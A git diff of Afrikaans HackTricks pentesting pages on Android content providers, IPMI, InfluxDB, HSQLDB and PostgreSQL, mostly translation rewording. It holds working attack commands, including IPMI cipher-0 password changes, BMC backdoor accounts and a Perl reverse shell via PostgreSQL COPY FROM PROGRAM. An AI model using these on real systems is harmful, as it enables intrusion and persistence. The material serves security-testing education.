Om toegang te verkry tot `content://com.mwr.example.sieve.DBContentProvider/Keys`, is die `READ_KEYS` toestemming nodig. Dit is interessant om op te let dat die pad `/Keys/` in die volgende afdeling toeganklik is, wat nie beskerm is nie weens 'n fout van die ontwikkelaar, wat `/Keys` beveilig het, maar `/Keys/` verklaar het.
|
||||
|
||||
**Miskien kan jy toegang verkry tot privaat data of 'n sekere kwesbaarheid benut (SQL Injection of Path Traversal).**
|
||||
**Miskien kan jy privaat data bekom of 'n sekere kwesbaarheid (SQL Injection of Path Traversal) benut.**
|
||||
|
||||
## Kry inligting van **blootgestelde inhoudverskaffers**
|
||||
```
|
||||
@ -40,7 +38,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Dit is moontlik om saam te stel hoe om die **DBContentProvider** te bereik deur URI's te begin met “_content://_”. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die _/Keys_ gids geleë was.
|
||||
Dit is moontlik om saam te stel hoe om die **DBContentProvider** te bereik deur URI's met “_content://_” te begin. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die _/Keys_ gids geleë was.
|
||||
|
||||
Drozer kan **raai en verskeie URI's probeer**:
|
||||
```
|
||||
@ -64,12 +62,12 @@ As u ook nie volle navrae kan vind nie, kan u **kyk watter name deur die Content
|
||||
|
||||
Die navraag sal soos volg wees: `content://name.of.package.class/declared_name`
|
||||
|
||||
## **Databasis-ondersteunde Inhoudverskaffers**
|
||||
## **Databasis-ondersteunde Content Providers**
|
||||
|
||||
Waarskynlik word die meeste van die Inhoudverskaffers as **koppelvlak** vir 'n **databasis** gebruik. Daarom, as u toegang kan verkry, kan u in staat wees om **inligting te onttrek, op te dateer, in te voeg en te verwyder**.\
|
||||
Kyk of u **toegang tot sensitiewe inligting** kan kry of probeer om dit te verander om **autorisasiemeganismes** te omseil.
|
||||
Waarskynlik word die meeste van die Content Providers as **koppelvlak** vir 'n **databasis** gebruik. Daarom, as u toegang kan verkry, kan u in staat wees om **inligting te onttrek, op te dateer, in te voeg en te verwyder**.\
|
||||
Kyk of u **toegang tot sensitiewe inligting** kan verkry of probeer om dit te verander om **autorisasiemeganismes** te omseil.
|
||||
|
||||
Wanneer u die kode van die Inhoudverskaffer nagaan, **kyk** ook vir **funksies** wat soos volg genoem word: _query, insert, update en delete_:
|
||||
Wanneer u die kode van die Content Provider nagaan, **kyk** ook vir **funksies** wat soos volg genoem word: _query, insert, update en delete_:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -95,11 +93,11 @@ Deur die databasis te ondervra, sal jy die **naam van die kolomme** leer, dan ka
|
||||
|
||||
.png>)
|
||||
|
||||
_Notice dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n double aan te dui, --float, --integer, --long, --short, --boolean_
|
||||
_Not dat jy in invoeg en opdateer --string kan gebruik om 'n string aan te dui, --double om 'n dubbel aan te dui, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Werk inhoud op
|
||||
### Opdateer inhoud
|
||||
|
||||
Met die naam van die kolomme kan jy ook **die inskrywings wysig**:
|
||||
Met die naam van die kolomme kan jy ook **die inskrywings** **wysig**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -1,7 +1,5 @@
|
||||
# 623/UDP/TCP - IPMI
|
||||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -9,23 +7,23 @@
|
||||
|
||||
### **Oorsig van IPMI**
|
||||
|
||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie stel stelselsadministrateurs in staat om stelsels op afstand te bestuur, selfs wanneer hulle af of onreaksief is, en is veral nuttig vir:
|
||||
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bied 'n gestandaardiseerde benadering vir afstandsbestuur en monitering van rekenaarstelsels, onafhanklik van die bedryfstelsel of kragtoestand. Hierdie tegnologie stel stelselsadministrateurs in staat om stelsels op afstand te bestuur, selfs wanneer hulle af of onreaktief is, en is veral nuttig vir:
|
||||
|
||||
- Pre-OS opstartkonfigurasies
|
||||
- Kragaf bestuur
|
||||
- Herstel van stelselfoute
|
||||
|
||||
IPMI is in staat om temperature, spannings, waaier spoed, en kragvoorsienings te monitor, sowel as om inventarisinligting te verskaf, hardeware logs te hersien, en waarskuwings via SNMP te stuur. Essensieel vir sy werking is 'n kragbron en 'n LAN-verbinding.
|
||||
IPMI is in staat om temperature, spannings, waaier spoed, en kragbronne te monitor, sowel as om inventaris-inligting te verskaf, hardeware-logboek te hersien, en waarskuwings via SNMP te stuur. Essensieel vir sy werking is 'n kragbron en 'n LAN-verbinding.
|
||||
|
||||
Sedert die bekendstelling deur Intel in 1998, is IPMI deur verskeie verskaffers ondersteun, wat afstandsbestuur vermoëns verbeter, veral met weergawe 2.0 se ondersteuning vir serieel oor LAN. Sleutelelemente sluit in:
|
||||
|
||||
- **Baseboard Management Controller (BMC):** Die hoof mikrobeheerder vir IPMI operasies.
|
||||
- **Kommunikasiebusse en Interfaces:** Vir interne en eksterne kommunikasie, insluitend ICMB, IPMB, en verskeie interfaces vir plaaslike en netwerkverbindinge.
|
||||
- **IPMI Geheue:** Vir die stoor van logs en data.
|
||||
- **IPMI Geheue:** Vir die stoor van logboeke en data.
|
||||
|
||||

|
||||
|
||||
**Standaard Poort**: 623/UDP/TCP (Dit is gewoonlik op UDP maar dit kan ook op TCP loop)
|
||||
**Standaard Poort**: 623/UDP/TCP (Dit is gewoonlik op UDP, maar dit kan ook op TCP loop)
|
||||
|
||||
## Enumerasie
|
||||
|
||||
@ -42,7 +40,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### IPMI Kwetsbaarhede
|
||||
|
||||
In die gebied van IPMI 2.0 is 'n beduidende sekuriteitsfout deur Dan Farmer ontdek, wat 'n kwesbaarheid blootgestel het deur **cipher type 0**. Hierdie kwesbaarheid, wat in detail gedokumenteer is by [Dan Farmer se navorsing](http://fish2.com/ipmi/cipherzero.html), stel ongeoorloofde toegang in staat met enige wagwoord mits 'n geldige gebruiker teiken. Hierdie swakheid is oor verskeie BMC's van vervaardigers soos HP, Dell, en Supermicro gevind, wat 'n wye probleem binne alle IPMI 2.0 implementasies suggereer.
|
||||
In die gebied van IPMI 2.0 is 'n beduidende sekuriteitsfout deur Dan Farmer ontdek, wat 'n kwesbaarheid blootgestel het deur **cipher type 0**. Hierdie kwesbaarheid, wat in detail gedokumenteer is by [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html), stel ongeoorloofde toegang in staat met enige wagwoord mits 'n geldige gebruiker teiken. Hierdie swakheid is oor verskeie BMC's van vervaardigers soos HP, Dell, en Supermicro gevind, wat 'n wye probleem binne alle IPMI 2.0 implementasies aandui.
|
||||
|
||||
### **IPMI Verifikasie Omseiling via Cipher 0**
|
||||
|
||||
@ -50,15 +48,15 @@ Om hierdie fout te detecteer, kan die volgende Metasploit bykomende skandeerder
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
Die uitbuiting van hierdie fout is haalbaar met `ipmitool`, soos hieronder gedemonstreer, wat die lysing en wysiging van gebruikerswagwoorde moontlik maak:
|
||||
Die uitbuiting van hierdie fout is haalbaar met `ipmitool`, soos hieronder gedemonstreer, wat die lys en wysiging van gebruikerswagwoorde moontlik maak:
|
||||
```bash
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### **IPMI 2.0 RAKP Outentifikasie Afgeleë Wagwoord Hash Herwinning**
|
||||
### **IPMI 2.0 RAKP Outentisering Afgeleide Wagtwoord Hash Herwinning**
|
||||
|
||||
Hierdie kwesbaarheid stel die herwinning van gesoute gehashde wagwoorde (MD5 en SHA1) vir enige bestaande gebruikersnaam moontlik. Om hierdie kwesbaarheid te toets, bied Metasploit 'n module aan:
|
||||
Hierdie kwesbaarheid stel die herwinning van gesoute gehashde wagwoorde (MD5 en SHA1) vir enige bestaande gebruikersnaam in staat. Om hierdie kwesbaarheid te toets, bied Metasploit 'n module aan:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
@ -71,7 +69,7 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### **Supermicro IPMI Duidelike Wagwoorde**
|
||||
|
||||
'n Kritieke ontwerppunt in IPMI 2.0 vereis die stoor van duidelike wagwoorde binne BMC's vir outentikasie doeleindes. Supermicro se stoor van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` wek beduidende sekuriteitskwessies:
|
||||
'n Kritieke ontwerppunt in IPMI 2.0 vereis die stoor van duidelike wagwoorde binne BMC's vir outentikasie doeleindes. Supermicro se stoor van hierdie wagwoorde in plekke soos `/nv/PSBlock` of `/nv/PSStore` wek beduidende sekuriteitskwessies op:
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
```
|
||||
@ -83,19 +81,19 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### Brute Force
|
||||
|
||||
**HP randomiseer die standaard wagwoord** vir sy **Integrated Lights Out (iLO)** produk tydens vervaardiging. Hierdie praktyk verskil van ander vervaardigers, wat geneig is om **statiese standaard akrediteerlinge** te gebruik. 'n Samevatting van standaard gebruikersname en wagwoorde vir verskeie produkte word soos volg verskaf:
|
||||
**HP randomiseer die standaard wagwoord** vir sy **Integrated Lights Out (iLO)** produk tydens vervaardiging. Hierdie praktyk verskil van ander vervaardigers, wat geneig is om **statiese standaard akrediteerbesonderhede** te gebruik. 'n Samevatting van standaard gebruikersname en wagwoorde vir verskeie produkte word soos volg verskaf:
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** gebruik 'n **fabrieksrandomiseerde 8-karakter string** as sy standaard wagwoord, wat 'n hoër sekuriteitsvlak toon.
|
||||
- Produkte soos **Dell se iDRAC, IBM se IMM**, en **Fujitsu se Integrated Remote Management Controller** gebruik maklik raambare wagwoorde soos "calvin", "PASSW0RD" (met 'n nul), en "admin" onderskeidelik.
|
||||
- Net so gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige standaard akrediteerlinge, met "ADMIN", "changeme", en "admin" as hulle wagwoorde.
|
||||
- Net so gebruik **Supermicro IPMI (2.0), Oracle/Sun ILOM**, en **ASUS iKVM BMC** ook eenvoudige standaard akrediteerbesonderhede, met "ADMIN", "changeme", en "admin" as hulle wagwoorde.
|
||||
|
||||
## Accessing the Host via BMC
|
||||
## Toegang tot die Gasheer via BMC
|
||||
|
||||
Administratiewe toegang tot die Baseboard Management Controller (BMC) open verskeie paaie om toegang tot die gasheer se bedryfstelsel te verkry. 'n Eenvoudige benadering behels die benutting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur die gasheer te herbegin na 'n root shell via GRUB (met `init=/bin/sh`) of deur vanaf 'n virtuele CD-ROM te boot wat as 'n reddingsdisk ingestel is. Sulke metodes stel direkte manipulasie van die gasheer se skyf in staat, insluitend die invoeging van backdoors, data-ekstraksie, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter die herbegin van die gasheer, wat 'n beduidende nadeel is. Sonder om te herbegin, is toegang tot die lopende gasheer meer kompleks en wissel dit met die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsole ingelog bly, kan dit maklik oorgeneem word deur die BMC se KVM of serial-over-LAN (sol) funksionaliteite via `ipmitool`. Die verkenning van die benutting van gedeelde hardewarebronne, soos die i2c bus en Super I/O chip, is 'n gebied wat verdere ondersoek vereis.
|
||||
Administratiewe toegang tot die Baseboard Management Controller (BMC) open verskeie paaie om toegang tot die gasheer se bedryfstelsel te verkry. 'n Eenvoudige benadering behels die benutting van die BMC se Keyboard, Video, Mouse (KVM) funksionaliteit. Dit kan gedoen word deur die gasheer te herbegin na 'n root shell via GRUB (met `init=/bin/sh`) of deur vanaf 'n virtuele CD-ROM te boot wat as 'n reddingsdisk ingestel is. Sulke metodes stel direkte manipulasie van die gasheer se skyf in staat, insluitend die invoeging van backdoors, data-uittrekking, of enige nodige aksies vir 'n sekuriteitsassessering. Dit vereis egter die herbegin van die gasheer, wat 'n beduidende nadeel is. Sonder om te herbegin, is toegang tot die lopende gasheer meer kompleks en wissel dit met die gasheer se konfigurasie. As die gasheer se fisiese of seriële konsole ingelog bly, kan dit maklik oorgeneem word deur die BMC se KVM of serial-over-LAN (sol) funksies via `ipmitool`. Die verkenning van die benutting van gedeelde hardewarebronne, soos die i2c bus en Super I/O chip, is 'n gebied wat verdere ondersoek vereis.
|
||||
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
## Invoeging van Backdoors in BMC vanaf die Gasheer
|
||||
|
||||
Na die kompromie van 'n gasheer wat met 'n BMC toegerus is, kan die **lokale BMC-koppelvlak benut word om 'n backdoor gebruikersrekening in te voeg**, wat 'n blywende teenwoordigheid op die bediener skep. Hierdie aanval vereis die teenwoordigheid van **`ipmitool`** op die gekompromitteerde gasheer en die aktivering van BMC stuurprogramondersteuning. Die volgende opdragte illustreer hoe 'n nuwe gebruikersrekening in die BMC ingespuit kan word deur die gasheer se lokale koppelvlak, wat die behoefte aan verifikasie omseil. Hierdie tegniek is van toepassing op 'n wye reeks bedryfstelsels, insluitend Linux, Windows, BSD, en selfs DOS.
|
||||
Na die kompromittering van 'n gasheer wat met 'n BMC toegerus is, kan die **lokale BMC-koppelvlak benut word om 'n backdoor gebruikersrekening in te voeg**, wat 'n blywende teenwoordigheid op die bediener skep. Hierdie aanval vereis die teenwoordigheid van **`ipmitool`** op die gekompromitteerde gasheer en die aktivering van BMC stuurprogramondersteuning. Die volgende opdragte illustreer hoe 'n nuwe gebruikersrekening in die BMC ingevoeg kan word deur die gasheer se lokale koppelvlak, wat die behoefte aan verifikasie omseil. Hierdie tegniek is van toepassing op 'n wye reeks bedryfstelsels, insluitend Linux, Windows, BSD, en selfs DOS.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
@ -115,7 +113,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
||||
- `port:623`
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
|
@ -1,11 +1,10 @@
|
||||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**InfluxDB** is 'n oopbron **tydreeksdatabasis (TSDB)** ontwikkel deur InfluxData. TSDB's is geoptimaliseer vir die stoor en bedien van tydreeksdata, wat bestaan uit tydstempel-waarde pare. In vergelyking met algemene doeleindes databasis, bied TSDB's beduidende verbeterings in **stoorplek** en **prestasie** vir tydreeksdatastelle. Hulle gebruik gespesialiseerde kompressie-algoritmes en kan gekonfigureer word om outomaties ou data te verwyder. Gespesialiseerde databasisindekse verbeter ook navraagprestasie.
|
||||
**InfluxDB** is 'n oopbron **tydreeksdatabasis (TSDB)** ontwikkel deur InfluxData. TSDB's is geoptimaliseer vir die stoor en bedien van tydreeksdata, wat uit tydstempel-waarde pare bestaan. In vergelyking met algemene doeleindes databasis, bied TSDB's beduidende verbeterings in **stoorplek** en **prestasie** vir tydreeksdatastelle. Hulle gebruik gespesialiseerde kompressie-algoritmes en kan gekonfigureer word om outomaties ou data te verwyder. Gespesialiseerde databasisindekse verbeter ook navraagprestasie.
|
||||
|
||||
**Standaard poort**: 8086
|
||||
```
|
||||
@ -24,7 +23,7 @@ InfluxDB mag verifikasie vereis of nie
|
||||
influx -host 'host name' -port 'port #'
|
||||
> use _internal
|
||||
```
|
||||
As jy **'n fout soos** hierdie een kry: `ERR: unable to parse authentication credentials` beteken dit dat dit **'n paar geloofsbriewe verwag**.
|
||||
As jy **'n fout soos** hierdie een kry: `ERR: unable to parse authentication credentials` beteken dit dat dit **verwag dat daar sekere geloofsbriewe is**.
|
||||
```
|
||||
influx –username influx –password influx_pass
|
||||
```
|
||||
|
@ -1,6 +1,8 @@
|
||||
# 9001 - Pentesting HSQLDB
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Basiese Inligting
|
||||
## Basiese Inligting
|
||||
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** is die toonaangewende SQL relationele databasisstelsel geskryf in Java. Dit bied 'n klein, vinnige multithreaded en transaksionele databasis enjin met in-geheue en skyf-gebaseerde tabelle en ondersteun ingebedde en bediener modi.
|
||||
|
||||
@ -8,37 +10,35 @@
|
||||
```text
|
||||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||||
```
|
||||
# Inligting
|
||||
## Standaard Instellings
|
||||
|
||||
### Standaard Instellings
|
||||
Let daarop dat hierdie diens waarskynlik standaard in geheue loop of aan localhost gekoppel is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en soek jy om voorregte te verhoog.
|
||||
|
||||
Let daarop dat hierdie diens waarskynlik standaard in geheue loop of aan localhost gekoppel is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en soek jy om bevoegdhede te verhoog.
|
||||
Standaard akredensiale is gewoonlik `sa` met 'n leë wagwoord.
|
||||
|
||||
Standaard geloofsbriewe is gewoonlik `sa` met 'n leë wagwoord.
|
||||
|
||||
As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe met behulp van
|
||||
As jy 'n ander diens uitgebuit het, soek na moontlike akredensiale met behulp van
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
Let wel op die databasisnaam - jy sal dit nodig hê om te verbind.
|
||||
Note die databasisnaam versigtig - jy sal dit nodig hê om te verbind.
|
||||
|
||||
# Inligting Versameling
|
||||
## Inligting Versameling
|
||||
|
||||
Verbind met die DB-instantie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit met `java -jar hsqldb.jar` en verbind met die instantie met die ontdekte/ swak geloofsbriewe.
|
||||
Verbind met die DB-instansie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit met `java -jar hsqldb.jar` en verbind met die instansie met die ontdekte/ swak geloofsbriewe.
|
||||
|
||||
Let daarop dat die verbindings-URL iets soos hierdie vir 'n afstandstelsel sal lyk: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Tricks
|
||||
## Tricks
|
||||
|
||||
## Java Taal Routines
|
||||
### Java Taal Routines
|
||||
|
||||
Ons kan statiese metodes van 'n Java-klas vanaf HSQLDB aanroep deur Java Taal Routines. Neem kennis dat die aangeroep klas in die toepassing se klaspad moet wees.
|
||||
Ons kan statiese metodes van 'n Java-klas vanaf HSQLDB aanroep deur Java Taal Routines. Neem kennis dat die aangeroepde klas in die toepassing se klaspad moet wees.
|
||||
|
||||
JRTs kan `funksies` of `prosedures` wees. Funksies kan via SQL-verklarings aangeroep word as die Java-metode een of meer SQL-compatibele primitiewe veranderlikes teruggee. Hulle word aangeroep met die `VALUES` verklaring.
|
||||
|
||||
As die Java-metode wat ons wil aanroep void teruggee, moet ons 'n prosedure gebruik wat met die `CALL` verklaring aangeroep word.
|
||||
|
||||
## Lees Java Stelsels Eienskappe
|
||||
### Lees Java Stelsels Eienskappe
|
||||
|
||||
Skep funksie:
|
||||
```text
|
||||
@ -52,7 +52,7 @@ VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
U kan 'n [lys van stelsels eienskappe hier vind](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Skryf Inhoud na Lêer
|
||||
### Skryf Inhoud na Lêer
|
||||
|
||||
U kan die `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java-gadget gebruik wat in die JDK geleë is \(outomaties in die klas pad van die aansoek gelaai\) om hex-gecodeerde items na skyf te skryf via 'n pasgemaakte prosedure. **Let op die maksimum grootte van 1024 bytes**.
|
||||
|
||||
|
@ -1,6 +1,5 @@
|
||||
# 5432,5433 - Pentesting Postgresql
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basiese Inligting**
|
||||
@ -12,7 +11,7 @@
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
```
|
||||
## Verbinding & Basiese Enum
|
||||
## Verbind & Basiese Enum
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
@ -70,7 +69,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
|
||||
### **Port skandering**
|
||||
|
||||
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection` uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
|
||||
Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindoog poging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection` uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
@ -81,7 +80,7 @@ connect_timeout=10');
|
||||
```
|
||||
- Gasheer is af
|
||||
|
||||
`DETAIL: kon nie met die bediener verbind nie: Geen roete na gasheer. Is die bediener aan die gang op gasheer "1.2.3.4" en aanvaar TCP/IP verbindings op poort 5678?`
|
||||
`DETAIL: kon nie met die bediener verbind nie: Geen roete na gasheer. Is die bediener aan die gasheer "1.2.3.4" aan die gang en aanvaar dit TCP/IP verbindings op poort 5678?`
|
||||
|
||||
- Poort is gesluit
|
||||
```
|
||||
@ -93,7 +92,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
of
|
||||
or
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
```
|
||||
@ -129,8 +128,8 @@ In PL/pgSQL funksies is dit tans nie moontlik om uitsondering besonderhede te ve
|
||||
- As jy 'n lid van **`pg_read_server_files`** is, kan jy **lees** lêers
|
||||
- As jy 'n lid van **`pg_write_server_files`** is, kan jy **skryf** lêers
|
||||
|
||||
> [!NOTE]
|
||||
> Let daarop dat in Postgres 'n **gebruiker**, 'n **groep** en 'n **rol** die **dieselfde** is. Dit hang net af van **hoe jy dit gebruik** en of jy dit **toelaat om aan te meld**.
|
||||
> [!TIP]
|
||||
> Let daarop dat in Postgres 'n **gebruiker**, 'n **groep** en 'n **rol** die **selfde** is. Dit hang net af van **hoe jy dit gebruik** en of jy dit **toelaat om aan te meld**.
|
||||
```sql
|
||||
# Get users roles
|
||||
\du
|
||||
@ -208,7 +207,7 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
||||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Lêerstelsel aksies
|
||||
## Lêerstelsels aksies
|
||||
|
||||
### Lees gidse en lêers
|
||||
|
||||
@ -256,12 +255,12 @@ U kan **meer funksies** vind in [https://www.postgresql.org/docs/current/functio
|
||||
|
||||
### Eenvoudige Lêer Skryf
|
||||
|
||||
Slegs **super gebruikers** en lede van **`pg_write_server_files`** kan kopie gebruik om lêers te skryf.
|
||||
Slegs **super gebruikers** en lede van **`pg_write_server_files`** kan copy gebruik om lêers te skryf.
|
||||
```sql
|
||||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||||
```
|
||||
> [!WARNING]
|
||||
> Onthou dat as jy nie 'n super gebruiker is nie, maar die **`CREATEROLE`** regte het, kan jy **jouself 'n lid van daardie groep maak:**
|
||||
> Onthou dat as jy nie 'n super gebruiker is nie, maar die **`CREATEROLE`** toestemmings het, kan jy **jouself lid van daardie groep maak:**
|
||||
>
|
||||
> ```sql
|
||||
> GRANT pg_write_server_files TO username;
|
||||
@ -272,7 +271,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
||||
Onthou dat COPY nie nuwe reël karakters kan hanteer nie, daarom, selfs al gebruik jy 'n base64 payload, **moet jy 'n een-liner stuur**.\
|
||||
'n Baie belangrike beperking van hierdie tegniek is dat **`copy` nie gebruik kan word om binêre lêers te skryf nie, aangesien dit sommige binêre waardes verander.**
|
||||
|
||||
### **Binêre lêers opgelaai**
|
||||
### **Binêre lêer opgelaai**
|
||||
|
||||
Daar is egter **ander tegnieke om groot binêre lêers op te laai:**
|
||||
|
||||
@ -284,7 +283,7 @@ Daar is egter **ander tegnieke om groot binêre lêers op te laai:**
|
||||
|
||||
### Opdateer PostgreSQL tabeldata via plaaslike lêer skryf
|
||||
|
||||
As jy die nodige regte het om PostgreSQL bediener lêers te lees en te skryf, kan jy enige tabel op die bediener opdateer deur **die geassosieerde lêer node te oorskryf** in [die PostgreSQL data gids](https://www.postgresql.org/docs/8.1/storage.html). **Meer oor hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
As jy die nodige toestemmings het om PostgreSQL bediener lêers te lees en te skryf, kan jy enige tabel op die bediener opdateer deur **die geassosieerde lêer node te oorskryf** in [die PostgreSQL data gids](https://www.postgresql.org/docs/8.1/storage.html). **Meer oor hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Vereiste stappe:
|
||||
|
||||
@ -294,7 +293,7 @@ Vereiste stappe:
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Nota:** As jy nie die huidige data gids pad uit instellings kan verkry nie, kan jy die hoof PostgreSQL weergawe deur die `SELECT version()` navraag opsoek en probeer om die pad te brute-force. Algemene data gids pades op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Algemene kluster naam is `main`.
|
||||
**Nota:** As jy nie in staat is om die huidige data gids pad uit instellings te verkry nie, kan jy die groot PostgreSQL weergawe deur die `SELECT version()` navraag opvra en probeer om die pad te brute-force. Algemene data gids pades op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Algemene kluster naam is `main`.
|
||||
|
||||
2. Verkry 'n relatiewe pad na die filenode, geassosieer met die teiken tabel
|
||||
|
||||
@ -332,7 +331,7 @@ ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
|
||||
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae op 1 vir volle regte.
|
||||
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` boolean vlae op 1 vir volle toestemmings.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
@ -388,7 +387,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
|
||||
> [**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
|
||||
Of gebruik die `multi/postgres/postgres_copy_from_program_cmd_exec` module van **metasploit**.\
|
||||
Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Terwyl dit as CVE-2019-9193 gerapporteer is, het Postges verklaar dat dit 'n [kenmerk was en nie reggestel sal word nie](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Terwyl dit as CVE-2019-9193 gerapporteer is, het Postges verklaar dat dit 'n [kenmerk is en nie reggestel sal word nie](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE met PostgreSQL Tale
|
||||
|
||||
